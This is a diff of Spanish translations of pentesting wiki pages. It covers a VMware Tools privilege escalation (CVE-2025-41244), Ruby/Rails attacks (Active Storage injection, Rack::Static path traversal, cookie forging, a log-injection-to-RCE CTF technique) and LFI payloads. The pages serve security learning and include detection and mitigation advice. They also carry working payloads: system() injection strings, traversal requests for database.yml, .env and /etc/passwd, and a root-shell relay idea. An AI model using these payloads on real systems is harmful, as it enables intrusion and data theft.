+Esta técnica abusa de pipelines de service discovery impulsadas por regex que parsean las líneas de comando de procesos en ejecución para inferir versiones de servicios y luego ejecutan un binario candidato con una bandera de "version". Cuando patrones permisivos aceptan rutas no confiables controladas por el atacante (p. ej., /tmp/httpd), el collector privilegiado ejecuta un binario arbitrario desde una ubicación no confiable, provocando una elevación de privilegios local. NVISO documentó esto en VMware Tools/Aria Operations Service Discovery como CVE-2025-41244.

- Impact: Local privilege escalation to root (or to the privileged discovery account)
+- Impact: Elevación de privilegios local a root (o a la cuenta de discovery privilegiada)
 - Root cause: Untrusted Search Path (CWE-426) + permissive regex matching of process command lines
 - Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)

-## Cómo funciona VMware service discovery (a alto nivel)
+## How VMware service discovery works (high level)

- Credential-based (legacy): Aria ejecuta discovery scripts dentro del guest vía VMware Tools usando privileged credentials configuradas.
- Credential-less (modern): Discovery logic se ejecuta dentro de VMware Tools, ya privileged en el guest.
+- Credential-based (legacy): Aria ejecuta discovery scripts dentro del guest vía VMware Tools usando credenciales privilegiadas configuradas.
+- Credential-less (modern): La lógica de discovery se ejecuta dentro de VMware Tools, ya privilegiada en el guest.

-Ambos modos finalmente ejecutan lógica de shell que escanea procesos con sockets en escucha, extrae un command path coincidente vía regex, y ejecuta el primer token argv con un version flag.
+Ambos modos, en última instancia, ejecutan lógica de shell que escanea procesos con sockets en escucha, extrae una ruta de comando coincidente mediante una regex y ejecuta el primer token argv con una bandera de versión.

-## Causa raíz y patrón vulnerable (open-vm-tools)
+## Root cause and vulnerable pattern (open-vm-tools)

-En open-vm-tools, el script plugin serviceDiscovery get-versions.sh hace matching de candidate binaries usando expresiones regulares amplias y ejecuta el primer token sin ninguna validación de trusted-path:
+En open-vm-tools, el serviceDiscovery plugin script get-versions.sh hace coincidir binarios candidatos usando expresiones regulares amplias y ejecuta el primer token sin ninguna validación de ruta confiable:
 ```bash
 get_version() {
 PATTERN=$1
@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
 done
 }
 ```
-Se invoca con patrones permisivos que contienen \S (sin espacios en blanco) que coinciden con rutas que no pertenecen al sistema en ubicaciones escribibles por el usuario:
+Se invoca con patrones permisivos que contienen \S (carácter que no es espacio en blanco) que coincidirán fácilmente con non-system paths en user-writable locations:
 ```bash
 get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
 get_version "/usr/(bin|sbin)/apache\S*" -v
@ -43,18 +43,18 @@ get_version "/\S+/dataserver($|\s)" -v

 Esto crea un untrusted search path execution primitive: binarios arbitrarios ubicados en directorios world-writable (p. ej., /tmp/httpd) son ejecutados por un componente privilegiado.

-## Explotación (tanto en modos sin credenciales como con credenciales)
+## Explotación (tanto en modo sin credenciales como con credenciales)

 Precondiciones
- Puedes ejecutar un proceso sin privilegios que abra un listening socket en el guest.
- La tarea de discovery está habilitada y se ejecuta periódicamente (históricamente ~5 minutos).
+- Puedes ejecutar un proceso sin privilegios que abra un socket de escucha en el guest.
+- La tarea de descubrimiento está habilitada y se ejecuta periódicamente (históricamente ~5 minutos).

 Pasos
-1) Coloca (stage) un binario en una ruta que coincida con uno de los regex permisivos, p. ej. /tmp/httpd o ./nginx
-2) Ejecútalo como un usuario con pocos privilegios y asegúrate de que abra algún listening socket
-3) Espera al ciclo de descubrimiento; el privileged collector ejecutará automáticamente: /tmp/httpd -v (o similar), ejecutando tu programa como root
+1) Coloca un binario en una ruta que coincida con uno de los regex permisivos, p. ej. /tmp/httpd o ./nginx
+2) Ejecútalo como un usuario de bajos privilegios y asegúrate de que abra cualquier socket de escucha
+3) Espera el ciclo de discovery; el collector privilegiado ejecutará automáticamente: /tmp/httpd -v (o similar), ejecutando tu programa como root

-Demo mínima (utilizando el enfoque de NVISO)
+Demostración mínima (usando el enfoque de NVISO)
 ```bash
 # Build any small helper that:
 #  - default mode: opens a dummy TCP listener
@ -70,56 +70,56 @@ Linaje típico de procesos
 - Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i

 Artefactos (credential-based)
-Los SDMP wrapper scripts recuperados en /tmp/VMware-SDMP-Scripts-{UUID}/ pueden mostrar la ejecución directa de la ruta maliciosa:
+Los scripts wrapper SDMP recuperados bajo /tmp/VMware-SDMP-Scripts-{UUID}/ pueden mostrar la ejecución directa de la ruta maliciosa:
 ```bash
 /tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
 ```
-## Generalizing the technique: regex-driven discovery abuse (portable pattern)
+## Generalizando la técnica: regex-driven discovery abuse (portable pattern)

-Muchos agentes y suites de monitorización implementan el descubrimiento de versiones/servicios mediante:
+Muchos agentes y suites de monitorización implementan discovery de versiones/servicios mediante:
 - Enumerar procesos con sockets en escucha
- Grepear argv/command lines con regexes permisivos (por ejemplo, patrones que contienen \S)
- Ejecutar la ruta que coincide con una bandera benigna como -v, --version, -V, -h
+- Grepear argv/líneas de comando con regex permisivos (p. ej., patrones que contienen \S)
+- Ejecutar la ruta que coincide con una flag benigna como -v, --version, -V, -h

-Si la regex acepta rutas no confiables y la ruta se ejecuta desde un contexto privilegiado, se obtiene CWE-426 Untrusted Search Path execution.
+Si la regex acepta rutas no confiables y la ruta se ejecuta desde un contexto privilegiado, se produce CWE-426 Untrusted Search Path execution.

 Abuse recipe
- Nombra tu binario como daemons comunes que la regex probablemente coincida: httpd, nginx, mysqld, dataserver
+- Nombra tu binario como demonios comunes que la regex probablemente vaya a coincidir: httpd, nginx, mysqld, dataserver
 - Colócalo en un directorio escribible: /tmp/httpd, ./nginx
 - Asegúrate de que coincida con la regex y abra cualquier puerto para ser enumerado
 - Espera al collector programado; obtendrás una invocación privilegiada automática de <path> -v

-Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
+Masquerading note: Esto se alinea con MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) para aumentar la probabilidad de coincidencia y el sigilo.

-Reusable privileged I/O relay trick
- Construye tu helper de modo que, en la invocación privilegiada (-v/--version), se conecte a un rendezvous conocido (por ejemplo, un UNIX socket abstracto de Linux como @cve) y bridgee stdio a /bin/sh -i. Esto evita artefactos en disco y funciona en muchos entornos donde el mismo binario se re-invoca con una bandera.
+Truco reutilizable de relevo I/O privilegiado
+- Construye tu helper de forma que, en la invocación privilegiada (-v/--version), se conecte a un rendezvous conocido (p. ej., un socket UNIX abstracto de Linux como @cve) y haga puente entre stdio y /bin/sh -i. Esto evita artefactos en disco y funciona en muchos entornos donde el mismo binario se re-invoca con una flag.

 ## Detection and DFIR guidance

 Hunting queries
 - Hijos poco comunes de vmtoolsd o get-versions.sh como /tmp/httpd, ./nginx, /tmp/mysqld
- Cualquier ejecución de rutas absolutas no del sistema por scripts de discovery (busca espacios en expansiones ${COMMAND%%...})
+- Cualquier ejecución de rutas absolutas no del sistema por scripts de discovery (buscar espacios en expansiones ${COMMAND%%...})
 - ps -ef --forest para visualizar árboles de ascendencia: vmtoolsd -> get-versions.sh -> <non-system path>

 On Aria SDMP (credential-based)
- Inspecciona /tmp/VMware-SDMP-Scripts-{UUID}/ en busca de scripts transitorios y artefactos stdout/stderr que muestren la ejecución de rutas del atacante
+- Inspeccionar /tmp/VMware-SDMP-Scripts-{UUID}/ en busca de scripts transitorios y artefactos stdout/stderr que muestren la ejecución de rutas del atacante

 Policy/telemetry
 - Alertar cuando collectors privilegiados ejecuten desde prefijos no del sistema: ^/(tmp|home|var/tmp|dev/shm)/
- File integrity monitoring sobre get-versions.sh y plugins de VMware Tools
+- Monitoreo de integridad de archivos en get-versions.sh y plugins de VMware Tools

 ## Mitigations

- Patch: Aplica actualizaciones de Broadcom/VMware para CVE-2025-41244 (Tools and Aria Operations SDMP)
- Disable o restringe el discovery sin credenciales cuando sea factible
- Valida rutas de confianza: restringe la ejecución a directorios allowlisted (/usr/sbin, /usr/bin, /sbin, /bin) y únicamente a binarios exactos conocidos
- Evita regexes permisivos con \S; prefiere rutas absolutas ancladas y nombres de comando exactos
- Reduce privilegios de los helpers de discovery cuando sea posible; aplica sandbox (seccomp/AppArmor) para minimizar el impacto
- Monitorea y genera alertas sobre vmtoolsd/get-versions.sh ejecutando rutas no del sistema
+- Parche: Aplicar actualizaciones de Broadcom/VMware para CVE-2025-41244 (Tools and Aria Operations SDMP)
+- Deshabilitar o restringir discovery sin credenciales cuando sea factible
+- Validar rutas confiables: restringir la ejecución a directorios en la lista permitida (/usr/sbin, /usr/bin, /sbin, /bin) y solo a binarios exactos conocidos
+- Evitar regex permisivos con \S; preferir rutas absolutas ancladas y nombres de comando exactos
+- Reducir privilegios de los helpers de discovery cuando sea posible; aplicar sandbox (seccomp/AppArmor) para minimizar el impacto
+- Monitorear y alertar sobre ejecuciones de vmtoolsd/get-versions.sh desde rutas no del sistema

-## Notes for defenders and implementers
+## Notas para defensores e implementadores

-Safer matching and execution pattern
+Patrón más seguro de matching y ejecución
 ```bash
 # Bad: permissive regex and blind exec
 COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
@ -137,8 +137,8 @@ esac
 ```
 ## Referencias

- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
+- [NVISO – Como lo llames, VMware lo eleva (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
+- [Aviso de Broadcom para CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
 - [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
 - [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
 - [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
--- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md
+++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
@ -4,46 +4,46 @@

 ## Subida de archivos a RCE

-Como se explica en [this article](https://www.offsec.com/blog/cve-2024-46986/), subir un archivo `.rb` a directorios sensibles como `config/initializers/` puede llevar a remote code execution (RCE) en aplicaciones Ruby on Rails.
+As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.

-Tips:
- Otras ubicaciones de boot/eager-load que se ejecutan al iniciar la app también son riesgosas si son escribibles (p. ej., `config/initializers/` es la clásica). Si encuentras una subida arbitraria de archivos que cae en cualquier lugar bajo `config/` y luego se evalúa/requirea, puedes obtener RCE al arranque.
- Busca dev/staging builds que copien archivos controlados por el usuario dentro de la imagen del contenedor donde Rails los cargará en el boot.
+Consejos:
+- Otras ubicaciones de boot/eager-load que se ejecutan al iniciar la app también son peligrosas si son escribibles (p. ej., `config/initializers/` es la clásica). Si encuentras una subida de archivos arbitraria que termine en cualquier sitio bajo `config/` y luego se evalúa/requirea, podrías obtener RCE en el arranque.
+- Busca builds de dev/staging que copien archivos controlados por el usuario dentro de la imagen del contenedor donde Rails los cargará al iniciar.

 ## Active Storage image transformation → command execution (CVE-2025-24293)

-Cuando una aplicación usa Active Storage con `image_processing` + `mini_magick`, y pasa parámetros no confiables a los métodos de transformación de imágenes, las versiones de Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podrían permitir inyección de comandos porque algunos métodos de transformación fueron permitidos por error por defecto.
+Cuando una aplicación usa Active Storage con `image_processing` + `mini_magick`, y pasa parámetros no confiables a los métodos de transformación de imagen, las versiones de Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podrían permitir inyección de comandos porque algunos métodos de transformación fueron permitidos por defecto por error.

- Un patrón vulnerable se ve así:
+- A vulnerable pattern looks like:
 ```erb
 <%= image_tag blob.variant(params[:t] => params[:v]) %>
 ```
-donde `params[:t]` y/o `params[:v]` están controlados por el atacante.
+where `params[:t]` and/or `params[:v]` are attacker-controlled.

 - Qué probar durante las pruebas
- Identifica endpoints que acepten opciones de variant/processing, nombres de transformación, o argumentos arbitrarios de ImageMagick.
- Fuzz `params[:t]` y `params[:v]` buscando errores sospechosos o efectos secundarios de ejecución. Si puedes influir en el nombre del método o pasar argumentos raw que lleguen a MiniMagick, podrías conseguir code exec en el host que procesa las imágenes.
- Si solo tienes acceso de lectura a las variantes generadas, intenta blind exfiltration vía operaciones de ImageMagick especialmente construidas.
+- Identifica endpoints que acepten opciones de variant/processing, nombres de transformación o argumentos arbitrarios de ImageMagick.
+- Fuzzea `params[:t]` y `params[:v]` buscando errores sospechosos o efectos secundarios de ejecución. Si puedes influir en el nombre del método o pasar argumentos crudos que lleguen a MiniMagick, podrías lograr ejecución de código en el host que procesa las imágenes.
+- Si solo tienes acceso de lectura a variantes generadas, intenta exfiltración ciega mediante operaciones de ImageMagick manipuladas.

- Remediación/detecciones
- Si ves Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage + `image_processing` + `mini_magick` y transformaciones controladas por el usuario, considéralo explotable. Recomienda actualizar y aplicar listas blancas estrictas para métodos/params y una política de ImageMagick más hardening.
+- Mitigación/detecciones
+- Si ves Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 con Active Storage + `image_processing` + `mini_magick` y transformaciones controladas por el usuario, considéralo explotable. Recomienda actualizar y aplicar listas blancas estrictas para métodos/params y una política de ImageMagick endurecida.

 ## Rack::Static LFI / path traversal (CVE-2025-27610)

-Si el stack objetivo usa middleware de Rack directamente o vía frameworks, versiones de `rack` anteriores a 2.2.13, 3.0.14 y 3.1.12 permiten Local File Inclusion vía `Rack::Static` cuando `:root` no está establecido/mal configurado. Traversal codificado en `PATH_INFO` puede exponer archivos bajo el working directory del proceso o un root inesperado.
+Si el stack objetivo usa middleware de Rack directamente o vía frameworks, versiones de `rack` anteriores a 2.2.13, 3.0.14 y 3.1.12 permiten Local File Inclusion vía `Rack::Static` cuando `:root` no está seteado/mal configurado. Traversal codificado en `PATH_INFO` puede exponer archivos bajo el working directory del proceso o un root inesperado.

- Busca apps que monten `Rack::Static` en `config.ru` o en las pilas de middleware. Prueba traversals codificados contra rutas estáticas, por ejemplo:
+- Busca apps que monten `Rack::Static` en `config.ru` o en stacks de middleware. Prueba traversals codificados contra rutas estáticas, por ejemplo:
 ```text
 GET /assets/%2e%2e/%2e%2e/config/database.yml
 GET /favicon.ico/..%2f..%2f.env
 ```
-Ajusta el prefijo para que coincida con los `urls:` configurados. Si la app responde con el contenido del archivo, probablemente tengas LFI a cualquier cosa bajo el `:root` resuelto.
+Ajusta el prefijo para que coincida con los `urls:` configurados. Si la app responde con el contenido del archivo, probablemente tengas LFI hacia cualquier cosa bajo el `:root` resuelto.

- Mitigación: actualizar Rack; asegurar que `:root` solo apunte a un directorio de archivos públicos y esté establecido explícitamente.
+- Mitigación: upgrade Rack; asegúrate de que `:root` solo apunte a un directorio de archivos públicos y esté explícitamente seteado.

 ## Forging/decrypting Rails cookies when `secret_key_base` is leaked

-Rails cifra y firma cookies usando claves derivadas de `secret_key_base`. Si ese valor leaks (p. ej., en un repo, logs, o credenciales mal configuradas), usualmente puedes descifrar, modificar y volver a cifrar cookies. Esto a menudo conduce a bypass de authz si la app almacena roles, user IDs, o feature flags en cookies.
+Rails cifra y firma cookies usando claves derivadas de `secret_key_base`. Si ese valor se filtra (p. ej., en un repo, logs o credenciales mal configuradas), normalmente puedes descifrar, modificar y volver a cifrar cookies. Esto con frecuencia conduce a bypass de authz si la app almacena roles, user IDs o feature flags en cookies.

 Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
 ```ruby
@ -71,10 +71,10 @@ forged = enc.encrypt_and_sign(plain)
 puts "Forged cookie: #{CGI.escape(forged)}"
 ```
 Notas:
- Las aplicaciones más antiguas pueden usar AES-256-CBC y salts `encrypted cookie` / `signed encrypted cookie`, o serializadores JSON/Marshal. Ajusta salts, cipher y serializer según corresponda.
- En caso de compromiso/evaluación, rota `secret_key_base` para invalidar todas las cookies existentes.
+- Las apps más antiguas pueden usar AES-256-CBC y salts `encrypted cookie` / `signed encrypted cookie`, o JSON/Marshal serializers. Ajusta salts, cipher y serializer en consecuencia.
+- Tras una compromisión/evaluación, rota `secret_key_base` para invalidar todas las cookies existentes.

-## Ver también (Ruby/Rails-specific vulns)
+## Véase también (Ruby/Rails-specific vulns)

 - Ruby deserialization and class pollution:
 {{#ref}}
@ -86,15 +86,89 @@ Notas:
 {{#ref}}
 ../../pentesting-web/deserialization/ruby-_json-pollution.md
 {{#endref}}
- Template injection en los motores de Ruby (ERB/Haml/Slim, etc.):
+- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
 {{#ref}}
 ../../pentesting-web/ssti-server-side-template-injection/README.md
 {{#endref}}


+## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling

+Cuando una app (a menudo un endpoint simple de Rack/Sinatra/Rails) cumple ambas:
+- registra una cadena controlada por el usuario literalmente, y
+- más tarde `load`s un archivo cuya ruta se deriva de esa misma cadena (después de `Pathname#cleanpath`),
+
+A menudo puedes lograr ejecución remota de código envenenando el registro y luego forzando a la app a `load` el archivo de registro. Primitivas clave:
+
+- Ruby `load` evalúa el contenido del archivo objetivo como Ruby sin importar la extensión. Cualquier archivo de texto legible cuyo contenido se interprete como Ruby será ejecutado.
+- `Pathname#cleanpath` colapsa los segmentos `.` y `..` sin tocar el sistema de archivos, permitiendo path smuggling: basura controlada por el atacante puede ser antepuesta para el registro mientras la ruta limpiada sigue resolviendo al archivo previsto para ejecutar (p. ej., `../logs/error.log`).
+
+### Patrón vulnerable mínimo
+```ruby
+require 'logger'
+require 'pathname'
+
+logger   = Logger.new('logs/error.log')
+param    = CGI.unescape(params[:script])
+path_obj = Pathname.new(param)
+
+logger.info("Running backup script #{param}")            # Raw log of user input
+load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath
+```
+### Por qué el log puede contener Ruby válido
+`Logger` escribe líneas de prefijo como:
+```
+I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>
+```
+En Ruby, `#` inicia un comentario y `9/2/2025` es solo aritmética. Para inyectar código Ruby válido necesitas:
+- Comienza tu payload en una nueva línea para que no quede comentado por el `#` en la línea INFO; envía una newline inicial (`\n` o `%0A`).
+- Cierra el `[` suelto introducido por la línea INFO. Un truco común es empezar con `]` y, opcionalmente, contentar al parser con `][0]=1`.
+- Luego coloca código Ruby arbitrario (p. ej., `system(...)`).
+
+Ejemplo de lo que terminará en el log después de una solicitud con un parámetro construido:
+```
+I, [9/2/2025 #209384]  INFO -- : Running backup script
+][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
+```
+### Smuggling de una sola cadena que tanto registra código como resuelve a la ruta del log
+Queremos una sola cadena controlada por el atacante que:
+- cuando se registra en bruto, contiene nuestra Ruby payload, y
+- cuando se pasa por `Pathname.new(<input>).cleanpath`, resuelve a `../logs/error.log` de modo que el posterior `load` ejecute el log file recién envenenado.
+
+`Pathname#cleanpath` ignora schemes y colapsa componentes de traversal, así que lo siguiente funciona:
+```ruby
+require 'pathname'
+
+p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
+puts p.cleanpath   # => ../logs/error.log
+```
+- El `#` antes de `://` hace que Ruby ignore la cola cuando se ejecuta el log, mientras que `cleanpath` todavía reduce el sufijo a `../logs/error.log`.
+- El salto de línea inicial rompe la línea INFO; `]` cierra el corchete colgante; `][0]=1` satisface el parser.
+
+### Explotación de extremo a extremo
+1. Envía lo siguiente como el nombre del script de backup (codifica la primera nueva línea como `%0A` si es necesario):
+```
+\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
+```
+2. La app registra tu cadena sin procesar en `logs/error.log`.
+3. La app calcula `cleanpath` que resuelve a `../logs/error.log` y llama a `load` sobre él.
+4. Ruby ejecuta el código que inyectaste en el log.
+
+Para exfiltrar un archivo en un entorno tipo CTF:
+```
+\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
+```
+URL-encoded PoC (el primer carácter es un salto de línea):
+```
+%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
+```
 ## Referencias

- Anuncio de seguridad de Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
- Aviso de GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
+- Aviso de seguridad de Rails: CVE-2025-24293 — métodos de transformación inseguros de Active Storage (corregido en 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
+- Aviso de GitHub: Rack::Static — Inclusión de archivos locales (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
+- [Hardware Monitor Dojo-CTF #44: Log Injection a Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
+- [Documentación de Ruby Pathname.cleanpath](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
+- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
+- [Cómo funciona load en Ruby](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
+
 {{#include ../../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
+++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
@ -3,7 +3,7 @@
 {{#include ../../banners/hacktricks-training.md}}


-## Enumeración
+## Enumeration
 ```bash
 nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
 msf> use auxiliary/scanner/vmware/esx_fingerprint
@ -17,7 +17,7 @@ Si encuentras credenciales válidas, puedes usar más metasploit scanner modules

 ### Véase también

-Linux LPE mediante el descubrimiento de servicios de VMware Tools (CWE-426 / CVE-2025-41244):
+Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):

 {{#ref}}
 ../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@ -4,10 +4,10 @@

 ## File Inclusion

-**Remote File Inclusion (RFI):** El archivo se carga desde un servidor remoto (Lo mejor: puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\
+**Remote File Inclusion (RFI):** El archivo se carga desde un servidor remoto (Mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow_url_include**).\
 **Local File Inclusion (LFI):** El servidor carga un archivo local.

-La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que el servidor va a cargar.
+La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.

 Funciones **PHP** vulnerables: require, require_once, include, include_once

@ -19,17 +19,17 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
 ```
 ### **Linux**

-**Combinando varias listas LFI de \*nix y añadiendo más rutas he creado esta:**
+**Mezclando varias listas LFI de \*nix y añadiendo más rutas he creado esta:**


 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
 {{#endref}}

-Prueba también a cambiar `/` por `\`\
-Prueba también a añadir `../../../../../`
+Try also to change `/` for `\`\
+Try also to add `../../../../../`

-Una lista que usa varias técnicas para encontrar el archivo /etc/password (para comprobar si la vulnerabilidad existe) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
+Una lista que utiliza varias técnicas para encontrar el archivo /etc/password (para comprobar si existe la vulnerabilidad) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)

 ### **Windows**

@ -40,22 +40,22 @@ Fusión de diferentes wordlists:
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
 {{#endref}}

-Prueba también a cambiar `/` por `\`\
-Prueba también a eliminar `C:/` y añadir `../../../../../`
+Try also to change `/` for `\`\
+Try also to remove `C:/` and add `../../../../../`

-Una lista que usa varias técnicas para encontrar el archivo /boot.ini (para comprobar si la vulnerabilidad existe) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
+Una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para comprobar si existe la vulnerabilidad) se puede encontrar [aquí](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)

 ### **OS X**

-Revisa la lista LFI de Linux.
+Consulta la lista LFI de linux.

-## LFI básico y bypasses
+## Básico LFI y bypasses

 Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
 ```
 http://example.com/index.php?page=../../../etc/passwd
 ```
-### Secuencias traversal eliminadas de forma no recursiva
+### traversal sequences eliminadas de forma no recursiva
 ```python
 http://example.com/index.php?page=....//....//....//etc/passwd
 http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -71,7 +71,7 @@ Esto está **resuelto desde PHP 5.4**

 ### **Codificación**

-Podrías usar codificaciones no estándar como double URL encode (y otras):
+Puedes usar codificaciones no estándar como double URL encode (y otras):
 ```
 http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
 http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
 ```
 ### Desde una carpeta existente

-Quizás el back-end está comprobando la ruta de la carpeta:
+Quizás el back-end esté comprobando la ruta de la carpeta:
 ```python
 http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
 ### Explorando directorios del sistema de archivos en un servidor

-El sistema de archivos de un servidor puede explorarse recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad de directorio y sondar la existencia de carpetas específicas. A continuación se presenta un método detallado para lograr esto:
+El sistema de archivos de un servidor puede explorarse de forma recursiva para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se muestra un método detallado para lograrlo:

-1. **Determine Directory Depth:** Averigüe la profundidad de su directorio actual obteniendo con éxito el archivo `/etc/passwd` (aplicable si el servidor está basado en Linux). Una URL de ejemplo podría estructurarse de la siguiente manera, indicando una profundidad de tres:
+1. **Determinar la profundidad del directorio:** Determina la profundidad de tu directorio actual obteniendo con éxito el archivo `/etc/passwd` (aplicable si el servidor es Linux). Una URL de ejemplo podría estructurarse de la siguiente manera, indicando una profundidad de tres:
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Sondear carpetas:** Añade el nombre de la carpeta sospechosa (p. ej., `private`) a la URL, luego vuelve a `/etc/passwd`. El nivel adicional de directorio requiere incrementar la profundidad en uno:
+2. **Probar carpetas:** Añade el nombre de la carpeta sospechosa (p. ej., `private`) a la URL, luego vuelve a `/etc/passwd`. El nivel de directorio adicional requiere incrementar la profundidad en uno:
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
-3. **Interpretar los resultados:** La respuesta del servidor indica si el directorio existe:
- **Error / Sin salida:** El directorio `private` probablemente no existe en la ubicación especificada.
- **Contenido de `/etc/passwd`:** Se confirma la presencia del directorio `private`.
-4. **Exploración recursiva:** Los directorios descubiertos pueden explorarse más a fondo para buscar subdirectorios o archivos usando la misma técnica o los métodos tradicionales de Local File Inclusion (LFI).
+3. **Interpretar los resultados:** La respuesta del servidor indica si la carpeta existe:
+- **Error / Sin salida:** Es probable que la carpeta `private` no exista en la ubicación especificada.
+- **Contenido de `/etc/passwd`:** Se confirma la presencia de la carpeta `private`.
+4. **Exploración recursiva:** Las carpetas descubiertas pueden explorarse más a fondo para buscar subdirectorios o archivos usando la misma técnica o los métodos tradicionales de Local File Inclusion (LFI).

-Para explorar directorios en distintas ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
+Para explorar directorios en distintas ubicaciones del sistema de archivos, ajusta el payload en consecuencia. Por ejemplo, para comprobar si `/var/www/` contiene un directorio `private` (asumiendo que el directorio actual está a una profundidad de 3), usa:
 ```bash
 http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 ```
 ### **Path Truncation Technique**

